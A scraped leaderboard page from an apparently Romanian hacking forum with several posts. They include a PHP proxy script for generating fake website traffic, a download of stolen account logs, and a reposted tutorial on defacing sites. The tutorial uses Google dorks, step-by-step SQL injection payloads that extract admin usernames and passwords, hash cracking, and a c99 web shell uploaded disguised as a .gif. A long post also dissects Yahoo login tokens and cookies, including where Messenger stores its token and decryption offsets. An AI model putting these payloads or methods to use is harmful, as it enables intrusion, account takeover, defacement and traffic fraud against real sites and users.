Leaderboard
Popular Content
Showing content with the highest reputation on 04/08/13 in all areas
-
Acest procedeu mai poate fi numit si Traffic Generator. Tot ce aveti nevoie este o lista de proxy-uri si un server unde sa rulati acest script php. Vizitele false mai sunt utile si cand vine vorba de SEO, esti mai bine vazut in Google si iti creste pagerank-ul, avand trafic mare. Proxy-uri puteti lua de aici: Free Proxy List - Public Proxy Servers (IP PORT) - Hide My Ass! <?php set_time_limit(0); $proxies = array_values(array_unique(file('proxies.txt'))); $url = "http://google.ro"; $new_array = array(); foreach($proxies as $value) { $proxy = explode(":", $value); $ip = trim($proxy[0]); $port = trim($proxy[1]); $new_array[] = array($ip, $port); } $proxies = $new_array; foreach($proxies as $proxy) { $ch = curl_init(); curl_setopt($ch, CURLOPT_PROXY, $proxy[0]); curl_setopt($ch, CURLOPT_PROXYPORT, $proxy[1]); curl_setopt($ch, CURLOPT_HEADER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_COOKIESESSION, TRUE); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13'); curl_setopt($ch, CURLOPT_URL, "$url"); curl_exec($ch); curl_close($ch); } ?> Sursa: Genereaza vizite false folosind cURL | Blogul lui GarryOne1 point
-
Salut, Nu sunt multe, dar sunt functionale 60-70% din ele. Este un fisier text de 123kb deci va puteti face singuri o idee de cam cate conturi sunt. Logurile sunt folosite doar de mine.... Download : LogsalbertynosRST.rar download - 2shared Parola : ?F???????ú?????????????â????? Enjoy.1 point
-
Sincer nu.Ce ti-am spus mai devreme stiam de la tatal meu care a practicat o perioada buna de timp meseria de armurier la un magazin de arme din oras.La primele 2-3 tuburi aveau o forta de penetrare net superioara fata de alte modele in aceeleasi conditii.Dar dupa o folosire mai intensa incepeau belele si era nasol ca nu gaseai nici piese de schimb.Nu stiu insa cum sunt acum,eu ti-am scris deoarece am vazut ca e vorba de Walther si ca functioneaza cu tuburi CO2.1 point
-
Orice numai sa nu munciti. Edit: Nu e evident la cine ma refer? La toti cei ce folosesc asta sau metode similare.1 point
-
Salut, Userul @StrXt a dat si hint, deci e clar ca merge, am mai verificat si eu odata acum si functioneaza perfect. Sa nu va aud ca nu e cryptat ok, sau ca nu merge...sau alte prostii.... Hai ma baieti ca asta e grad de dificultate 2/10.... Spor1 point
-
https://docs.google.com/forms/d/1Oyvca552OphoWkU0mgbN0HMkwurPSwKb_oieh8DN7Z8/viewform Nu postati raspunsul aici, voi publica in cateva zile rezultatele.1 point
-
1 point
-
Am dat Search si nu l-am gasit: Now Our Todays Discussion is on " How to Deface Websites using the SQL injection and PHP shell code Scripting".. Today I will show you the 100% working method for Hacking Websites and then Defacing them... FIRST OF ALL YOU SHOULD KNOW WHAT IS DEFACEMENT?? Defacing a website simply means that we replace the index.html file of a site by our file. Now all the Users that open it will see our Page(i.e being uploaded by us). For Defacing a website, three things that you need Most are: 1. SQL Injection(For analyzing website loops) 2. Admin Password 3. Shell Script (for getting Admin Controls) Now Lets Start the Tutorial: First of all I would Like to say that I have took some part of SQL injection Tutorial from my previous posts and a site http://www.milw0rm.com/ .Most of the Part is written by me so if you have any doubts I will clear them.... 1. Finding the Target and the Admin Password First of all we must find out our target website. I have collected a lot of dorks i.e the vulnerability points of the websites. Some Google Searches can be awesomely utilized to find out vulnerable Websites.. Below is example of some queries.. Examples: Open the Google and copy paste these queries... inurl:index.php?id= inurl:trainers.php?id= inurl:buy.php?category= inurl:article.php?ID= inurl:play_old.php?id= inurl:declaration_more.php?decl_id= inurl:pageid= inurl:games.php?id= inurl:page.php?file= inurl:newsDetail.php?id= inurl:gallery.php?id= Here are some More Queries (use them without quotation marks).. Now The Admin password Hacking procedure starts: You can also refer to my previous post of hacking websites: Hacking websites : How to hack websites By using SQL Injection 1). Check for vulnerability Let's say that we have some site like this http://www.site.com/news.php?id=5 Now to test if is vulrnable we add to the end of url ' (quote), and that would be http://www.site.com/news.php?id=5' so if we get some error like "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..." or something similar that means the Site is vulnerable to SQL injection. 2). Find the number of columns To find number of columns we use statement ORDER BY (tells database how to order the result) so how to use it? Well just incrementing the number until we get an error. http://www.site.com/news.php?id=5 order by 1/* <-- no error http://www.site.com/news.php?id=5 order by 2/* <-- no error http://www.site.com/news.php?id=5 order by 3/* <-- no error http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that) that means that the it has 3 columns, cause we got an error on 4. 3). Check for UNION function With union we can select more data in one sql statement. So we have http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). ) if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works . 4). Check for MySQL version http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try -- it's a comment and it's important for our query to work properly. Let say that we have number 2 on the screen, now to check for version we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar. it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/* If you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..." I didn't see any paper covering this problem, so i must write it . What we need is convert() function i.e. http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/* or with hex() and unhex() i.e. http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/* and you will get MySQL version . 5). Getting table and column name well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version. we must guess table and column name in most cases. common table names are: user/s, admin/s, member/s ... common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc... i.e would be http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good ) We know that table admin exists... Now to check column names. http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name) we get username displayed on screen, example would be admin, or superadmin etc... now to check if column password exists http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name) we seen password on the screen in hash or plain-text, it depends of how the database is set up i.e md5 hash, mysql hash, sha1... Now we must complete query to look nice For that we can use concat() function (it joins strings) i.e http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/* Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon) (there is another way for that, char(58), ascii value for : ) http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/* Now we get dislayed username:password on screen, i.e admin:admin or admin:somehash When you have this, you can login like admin or some superuser. If can't guess the right table name, you can always try mysql.user (default) It has user password columns, so example would be http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/* 6). MySQL 5 Like i said before i'm gonna explain how to get table and column names in MySQL > 5. For this we need information_schema. It holds all tables and columns in database. to get tables we use table_name and information_schema.tables. i.e http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/* here we replace the our number 2 with table_name to get the first table from information_schema.tables displayed on the screen. Now we must add LIMIT to the end of query to list out all tables. i.e http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/* note that i put 0,1 (get 1 result starting from the 0th) now to view the second table, we change limit 0,1 to limit 1,1 i.e http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/* the second table is displayed. for third table we put limit 2,1 i.e http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/* Keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... To get the column names the method is the same. here we use column_name and information_schema.columns the method is same as above so example would be http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/* The first column is diplayed. The second one (we change limit 0,1 to limit 1,1) ie. http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/* The second column is displayed, so keep incrementing until you get something like username,user,login, password, pass, passwd etc... If you wanna display column names for specific table use this query. (where clause) Let's say that we found table users. i.e http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/* Now we get displayed column name in table users. Just using LIMIT we can list all columns in table users. Note that this won't work if the magic quotes is ON. Let's say that we found colums user, pass and email. Now to complete query to put them all together. For that we use concat() , i decribe it earlier. i.e http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/ What we get here is user:pass:email from table users. Example: admin:hash:whatever@blabla.com ** If you are too lazy for doing above stuff you can use tools they will do all the job: 1) Exploit scanner (this will find vulnerable websites) Code: http://rapidshare.com/files/24802790...oitscanner.zip 2) SQLi helpper (this tool will do all the injecting job and get you the pass or hash) Code: http://rapidshare.com/files/24802907...elperV.2.7.rar *** use the tools only if you are new to hacking. Do it manually thats the thrill and that is real hacking. When you do it manually you will understand the concept. In some websites you can directly see the password but most of the websites encrypt them using MD5. so u hav to crack the hash to get the password. To crack the password there are three ways 1) Check the net whether this hash is cracked before: Download: MD5Decrypter.co.uk, Over 63.5 billion decrypted hashes in total, Free MD5 Decryptor, Online MD5 Cracker, MD5 Security Hacking 2) Crack the password with the help of a site: Download:: http://www.milw0rm.com/cracker/insert.php http://passcracking.com/index.php 3) Use a MD5 cracking software: Download: http://rapidshare.com/files/13696796...CF_2.10_2b.rar Password = OwlsNest 2) DEFACING THE WEBSITE After getting the password you can login as the admin of the site. But first you have to find the admin login page for the site. there r three methods to find the admin panel. 1) You can use an admin finder website: Code: HoubySoft.com Admin Page Finder 2) You can use an admin finder software: Code: http://rapidshare.com/files/248020485/adminfinder.rar After logging in as the admin you can upload photos to the site. so now you are going to upload a shell into the site using this upload facility. Dowload the shell here: http://rapidshare.com/files/248023722/c99.rar Extract it you will get a c99.php upload it. Some sites wont allow you to upload a php file. so rename it as c99.php.gif Then upload it. After that go to http://www.site.com/images (in most sites images are saved in this dir but if you cant find c99 there then you have to guess the dir) find the c99.php.gif and click it.. Now you can see a big control pannel.... Now you can do what ever you want to do... Search for the index.html file and replace it with your own file. So if any one goes to that site they will see your page.... Read more: Hacking class 14 - How to Deface Websites using SQL and Php scripting? | Learn Ethical Hacking Online - HackingLoops-1 points
-
Despre Yahoo! Autor: SlicK [slick@rstcenter.com] In primul rand vreau sa-mi cer scuze pentru inevitabilele greseli de ortografie deoarece sunt multe subiecte pe care vreau sa le acopar in acest articol si nu am timp sa mai si verific ce am scris deja. Urmatorul articol este rezultatul a vreo doua saptamani de cautari, teste, munca si nervi si va acoperi cateva aspecte ale Yahoo'ului cred eu destul de interesante pe care poate ca unii dintre voi le cunoasteti deja, scopul fiind sa clarifice cateva "mituri" despre Yahoo si sa raspunda la unele din intrebarile pe care poate vi le-ati pus vreodata. PARTEA I. Algoritmul de codare "yahoo64" Acest algoritm este folosit de Yahoo oriunde trebuie transformat un sir de caractere neprintabile intr-un sir de caractere printabil. Se numeste "codare" si nu "criptare" deoarece nu ofera absolut nici o protectie pentru sirul de caractere de codat. Fara a intra in aspecte criptografice trebuie metionat ca yahoo64 este foarte asemanator cu base64 insa are un charset extins. Charsetul yahoo64 este urmatorul "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._" yahoo64 are cateva caracteristici distincte care trebuie mentionate: > toate caracterele din stringul codat fac parte din charsetul de mai sus > lungimea stringului este multiplu de 4 > in functie de lungimea stringului initial, la sfarsitul stringului criptat ultimele caractere pot fi "-" sau "--". Pentru mai multe detalii studiati cele doua functii php(pentru codare si decodare) de la sfarsitul acestui articol. PARTEA II. Analiza tokenului Yahoo Din cate am observat pana acum tokenul Yahoo este o insumare a userului si parolei de Yahoo, unic pentru fiecare username in parte dar care se modifica (doar partial) la schimbarea parolei. In esenta posesia acest token exprima ca posesorul este fie userul fie o entitate care are permisiunea userului de a actiona in numele acestuia pe serverele Yahoo. Un user isi poate obtine acest token prin accesarea linkului urmator: [url]https://login.yahoo.com/config/pwtoken_get?src=ymsgr&login=[/url][USERNAME]&passwd=[PASSWORD] unde [uSERNAME] si [PASSWORD] sunt o combinatie username/parola Yahoo VALIDE. Utilitatea acestui token este ca poate oferi oricand un COOKIE valid de Yahoo. [url]https://login.yahoo.com/config/pwtoken_login?src=ymsgr&token=[/url][TOKEN] Un exemplu de raspuns la un reqest catre "https://login.yahoo.com/config/pwtoken_get" poate fi acesta: 0 ymsgr=AGG6e0diD9m.3D4YlFPVcdBT1wFXKSBWP0Hl.gyQKd.qec8- partnerid=KSBWP0Hl.gyQKd.qec8- "ymsgr" este tokenul despre care am vorbit mai devreme si dupa cum se observa "partnerid" face parte din acest token (la sfarsit). Acest "partnerid" este unic pentru fiecare utilizator in parte si nu se modifica la schimbarea parolei, iar lungimea acestuia variaza in functie de lungimea username'ului. Dupa cum se poate observa lungimea tokenului este de 48 si se termina cu un "-" deci este evindent codat cu yahoo64. Dupa decodare obtinem urmatorul sir de caractere (unde fiecare 2 caractere reprezinta valoarea hexadecimala a unui singur caracter din tokenul decodat): 00 61 BA 7B 47 62 0F D9 BE DC 3E 18 94 53 D5 71 D0 53 D7 01 57 29 20 56 3F 41 E5 FA 0C 90 29 DF AA 79 CF La toate tokenurile pe care le-am vazut pana acum primul caracter este intotdeauna "0x00" Urmatoarele 4 caractere reprezinta timestampul (numarul de secunde care au trecut din 1-1-1970) la care userul a fost creeat sau cand parola a fost schimbata, doar ca timestampul este inversat deci pentru exemplul de mai sus timestampul va fi 0x477BBA61 (decimal 1199290977) adica "Wed, 2 Jan 2008 16:22:57 GMT" Daca decodam "partnerid" vom obtine urmatorul string: 29 20 56 3F 41 E5 FA 0C 90 29 DF AA 79 CF care dupa cum sa observa sunt ultimele 14 caractere de la sfarsitul tokenului. Daca din token eliminam primul caracter (00) timestampul (61 BA 7B 47) si parnerid'ul decodat vom ramane cu 62 0F D9 BE DC 3E 18 94 53 D5 71 D0 53 D7 01 57 Acest string rezultat are o lungime de 16 caractere ceea ce duce la concluzia ca este un hash MD5 (md5() produce un hash de 128 de biti adica 16 caractere intre 0x00 si 0xFF, a nu se confunda cu md5_hex() care produce un string de 32 de caractere reprezentand valorile hexadecimale ale celor 16 caractere produse de md5() ) La schimbarea parolei se modifica doar timestampul si acest hash MD5 ceea ce ma face sa cred ca din stringul initial (care produce hashul) face parte fie timestampul fie parola fie ambele. Trebuie sa mentionez pentru cei care vor face teste ca acest token trebuie pastrat SECRET deoarece dupa cum am spus si mai sus cunoasterea tokenului poate duce la compromiterea contului (parola NU trebuie sa fie cunoscuta pentru a obtine un set de cookiuri) PARTEA III. Yahoo! Messenger "Remember my ID & password" Incepand cu versiunea 7.x.x.x Yahoo! Messnger NU mai memoreaza parola atunci cand optiunea "Remember my ID & password" este bifata. In schimb este memorat tokenul despre care am vorbit mai sus deoarece dupa cum o sa arat mai tarziu tokenul este suficient pentru logarea cu succes la serviciul messenger. Pentru memorare tokenul este criptat si stocat in registrii windows in cheia HKEY_CURRENT_USER\Software\Yahoo\Pager\ETS Userul este de asemenea salvat deoarece este necesar pentru decriptare HKEY_CURRENT_USER\Software\Yahoo\Pager\Yahoo! User ID Nu voi da un exemplu de astfel de string deoarece desi algoritmul de criptare imi este deocamdata necunoscut poate fi totusi decriptat si extras un token folosind functii din "YahooMessenger.exe". Analiza pe care am facut-o unui string ETS este destul de sumara: tokenul este criptat folosind o cheie formata din "MBCS sucks"+USERNAME. Stringul rezultat fiind apoi codat cu yahoo64 si stocat in registrii la cheia ETS. Pentru crackeri decriptarea se face in "YahooMessenger.exe" (8.1.0.421) la offsetul 0x004862AA unde functia locala de la offsetul 0x006FCEC0 primeste urmatorii 9 parametrii 1. Stringul ETS 2. Lungimea stringului ETS 3. Pointer catre tokenul decriptat 4. Pointer catre lungimea tokenului 5. Cheia de decriptare "MBCS sucks[uSERNAME]" 6. Lungimea cheii de decriptare 7. 0x00 8. 0x00 9. 0x00 PARTEA IV. Autentificarea YMSGR v15 In continuare voi presupune ca sunteti deja familiarizati cu protocolul Yahoo! Messenger(formarea pachetelor si parametrii unui pachet) Este de mentionat ca din motive de compatibilitate YMSGR15 accepta si logarea clasica user/password dar mult mai important este ca Yahoo! Messnger foloseste si logarea cu COOKIE. Pentru o logare cu succes Yahoo! Messnger face urmatorii pasi: -Daca optiunea "Remember my ID & password" este bifata decripteaza stringul ETS si obtine un token, daca nu va folosi userul si parola introduse pentru a face un request la "https://login.yahoo.com/config/pwtoken_get" pentru a obtine tokenul -Dupa conectarea la unul din serverele yahoo trimite un pachet VERIFY (0x4C) -Daca primeste un raspuns valid VERIFY de la server incepe procedura de autentificare -Trimite un pachet AUTH (0x57) cu parametrii: "1" - USERNAME -Primeste un pachet AUTHRESP (0x54) din care extrage valoarea parametrului "94" (CHALLENGE) -Avand un token valid al userului va face un request catre "https://login.yahoo.com/config/pwtoken_login" pentru a obtine valorile "Y" si "T" ale cookieului precum si valorea "crumb" (CRUMB) -Creeaza un string (STRING307) astfel yahoo64(md5(CRUMB+CHALLENGE)) -Trimite un pachet AUTHRESP (0x54) cu parametrii: "277" - parametrul Y "278" - parametrul T "307" - STRING307 "0" - USERNAME "2" - USRNAME "2" - "1" "1" - USERNAME "244" - un numar random (ex. "2097087") "98" - "us" "135" - versiunea clientului (ex. "8.1.0.421") "148" - "-120" -Daca totul e in regula userul este autentificat iar serverul trimite buddy listul si alte informatii cum ar mailuri noi, add buddy request etc. PARTEA V. Analiza si explicatia cookiurilor Yahoo Odata cu autentificarea la un serviciu Yahoo userul primeste cookiurile "Y" si "T" deci analiza mea a fost concentrata doar asupra acestor 2 cookiuri. Cookieul Y poate fi configurat sa expire dupa o valoare intre 15 minute si 24 de ore dar cookieul T expira de obicei la inchiderea browserului sau la logout. Pentru serviciile cu securitate scazuta cum ar fi pagina "My Yahoo" cookiul Y este suficient dar pentru cele mai importante cum ar fi mail,calendar etc.. cookieul T este obligatoriu. Dupa cum probabil ati observat un cookie Yahoo este format din perechi "parametru=valoare". In continuare voi analiza parametrii care formeaza fiecare cookie si voi incercat sa prezent o explicatie pentru prezenta sau scopul lor. -Cookieul Y: Exemplu: Y=v=1&n=9mioklmar8tku&l=glagla/o&p=m2509oh012000000&r=in&lg=en-US&intl=us&np=1 Contine usernameul,un ID unic si cateva informatii demografice. De obicei acesta ramane neschimbat pentru un anumit user modificandu-se doar ID'ul unic (la schimbarea parolei) si informatiile demografice (la schimbarea adresei, limba utilizata, etc...) Dupa cum se observa este format din parametrii v,n,l,p,r,lg,intl si np dar nu toti sunt necesari pentru autentificarea cu succes al unui user. Parametrul "n" este un ID unic intern al utilizatorului (se modifica doar la schimbarea parolei) care este comparat cu o valoare interna yahoo la anumite requesturi pentru obtinerea de informatii sau pentru expirarea automata a tuturor cookiurilor vechi odata cu schimbarea parolei. Parametrul "l" este usernameul codat cu un algoritm simplu de substitutie unde fiecare caracter din user are un corespondent intr-un alt string dupa cum urmeaza: PLAINTXT=klmnopqrstuvwxyz0123457896abcdefghij._ ENCODED=abcdefghijklmnopqrstuvxyzw0123456789._ Astfel pentru cookiul de mai sus username'ul este "qvkqvk" Parametrul "p" contine diverse informatii despre utilizator cum ar fi sex, data nasterii, tara, etc. Restul parametrilor contin de asemenea diverse informatii despre limba, anumite setari, etc. -Cookieul T: Exemplu: T=z=Cr7eHBCxQfHBJkF/Bqb4dnUMzIwBjVPNDQzNDFOME8-&a=QAE&sk=DAAk3Lb2EiyEEM&ks=EAA3i37q0zwFhuCnF6cflaKHg--~A&d=c2wBTkRVM0FUSTRNek0wTXpZNU56Zy0BYQFRQUUBenoBQ3I3ZUhCZ1dBAXRpcAFzNkpUZEM- Contine un timestamp si o semnatura digitala simetrica. Acesta se modifica la modificarea timpului(oricate cookiuri generate intr-o singura secunda sunt identice) Este format din parametrii z,a,sk,ks si d dar pentru autentificare la serviciile web sunt necesari doar parametrii sk,ks si d. Pentru autentificare Yahoo! Messenger "z" este insa obligatoriu. Parametrul "z" exista pentru compatibilitate cu servicii mai vechi dar este de asemenea in stransa legatura cu valoarea CRUMB obtinuta pentru autentificarea Yahoo! Messenger. Acesta este un string criptat cu yahoo64 dar decodarea acestuia nu prezinta nici o informatie evidenta) Parametrul "a" (de obicei are valoarea "QAE") contine diverse flaguri pentru expirare si protectia minorilor. Parametrul "sk" reprezinta sesiunea (session key) si este calculat din username, ID unic si timestamp precum si dintr-un string cunoscut doar pe serverele Yahoo (Yahoo shared secret) Parametrul "ks" reprezinta (din observatiile mele) un hash al parolei utilizatorului sau un alt string care inlocuieste parola deoarece lipsa acestui este urmata de obligatia introducerii parolei(pe serverele web Yahoo). Daca ignoram primele 3 caractere care nu se schimba ("DAA") si ultimele 2 caractere care de asemenea nu se schimba ("~A") obtinem un string codat yahoo64 reprezentand cel mai probabil un hash MD5 (stringul decodat are 16 caractere) cel mai probabil de asemenea generat folosind un shared secret. Parametrul "d" contine sesiunea utilizatorului si cateva informatii pentru compatibilitate. Acesta este un string codat yahoo64. Dupa decodarea valorii "d" din exemplul de mai sus obtinem urmatorul string: (unde [sEP] este caracterul hexadecimal 0x01) sl[SEP]NDU3ATI4MzM0MzY5Nzg-[SEP]a[SEP]QAE[SEP]zz[SEP]Cr7eHBgWA[SEP]tip[SEP]s6JTdC Se poate observa ca acest string este de asemenea o insiruire de perechi "parametru=valoare" astfel: sl=NDU3ATI4MzM0MzY5Nzg-&a=QAE&zz=Cr7eHBgWA&tip=s6JTdC Valoarea parametrului "sl" este de asemenea un string criptat yahoo64: 457[SEP]2833436978 (sau 457=2833436978) Acest numar este unic pentru fiecare username si nu se modifica la schimbarea parolei Parametrul "a" este acelasi cu parametrul "a" din cookiul "T" Parametrul "zz" reprezinta in esenta un contor de timp. Valorile pe care le poate lua un caracter facand parte din charsetul yahoo64 cu singura diferenta ca "_" este inlocuit de "/". Cea mai buna analogie pe care o pot face incercand sa explic acest parametru este aceea cu un kilometraj de masina, Adica fiecare caracter(de la stanga la dreapta) poate fi asemanata cu o rotita cu valorile din charset. atunci cand primul caracter termina o rotatie completa prin toate pozitiile, al doilea caracter creste cu o pozitie continuand in aclasi mod pana la al 6-lea caracter. Stiind ca primul caracter creste cu o pozitie pe secunda se poate afla timestampul la care un anumit cookie a fost generat. (cand userul s-a logat serviciul respectiv) Parametrul "tip" este acelasi pentru toti utilizatorii Yahoo dar se schimba periodic (nu stiu intervalul exact) Cam atat cu acest articol si felicitari pentru cei care au avut rabdarea sa-l citeasca pana la capat. Astept pareri sau adaugiri cu privire la aceste subiecte. Algoritmul de codare yahoo64: <?php //yahoo64 encode/decode functions by SlicK [slick@rstcenter.com] function yahoo64_encode($source) { $yahoo64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._"; $limit=strlen($source)-(strlen($source)%3); $dest=""; for($i=0;$i<$limit;$i+=3) { $dest.=$yahoo64[ord($source[$i])>>2]; $dest.=$yahoo64[((ord($source[$i])<<4)&0x30) | (ord($source[$i+1])>>4)]; $dest.=$yahoo64[((ord($source[$i+1])<<2)&0x3C) | (ord($source[$i+2])>>6)]; $dest.=$yahoo64[ord($source[$i+2])&0x3F]; } switch(strlen($source)-$limit) { case 1: { $dest.=$yahoo64[ord($source[$i])>>2]; $dest.=$yahoo64[(ord($source[$i])<<4)&0x30]; $dest.='--'; } break; case 2: { $dest.=$yahoo64[ord($source[$i])>>2]; $dest.=$yahoo64[((ord($source[$i])<<4)&0x30) | (ord($source[$i+1])>>4)]; $dest.=$yahoo64[((ord($source[$i+1])<<2)&0x3c)]; $dest.='-'; } break; } return($dest); } function Index($string,$chr) { for($i=0;$i<64;$i++) { if($string[$i]==$chr) { return($i); } } return(-1); } function yahoo64_decode($source) { $yahoo64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._"; $len=strlen($source); if($source[$len-1]=='-') { $plus=2; } if($source[$len-2]=='-') { $plus=1; } if($plus>0) { $len-=4; }; $dest=""; for($i=0;$i<$len;$i+=4) { $chr1=Index($yahoo64,$source[$i]); $chr2=Index($yahoo64,$source[$i+1]); $chr3=Index($yahoo64,$source[$i+2]); $chr4=Index($yahoo64,$source[$i+3]); $dest.=chr(($chr1<<2)|($chr2>>4)); $dest.=chr((($chr2&0xF)<<4)|($chr3>>2)); $dest.=chr((($chr3&0x3)<<6)|($chr4&0x3F)); } switch($plus) { case 1: { $chr1=Index($yahoo64,$source[$i]); $chr2=Index($yahoo64,$source[$i+1]); $dest.=chr(($chr1<<2)|($chr2>>4)); } break; case 2: { $chr1=Index($yahoo64,$source[$i]); $chr2=Index($yahoo64,$source[$i+1]); $chr3=Index($yahoo64,$source[$i+2]); $dest.=chr(($chr1<<2)|($chr2>>4)); $dest.=chr((($chr2&0xF)<<4)|($chr3>>2)); } break; } return($dest); } //usage example $string="any string"; print("Original string=$string \n"); $encoded=yahoo64_encode($string); print("Encoded string=$encoded \n"); $decoded=yahoo64_decode($encoded); print("Decoded string=$decoded \n"); ?>-1 points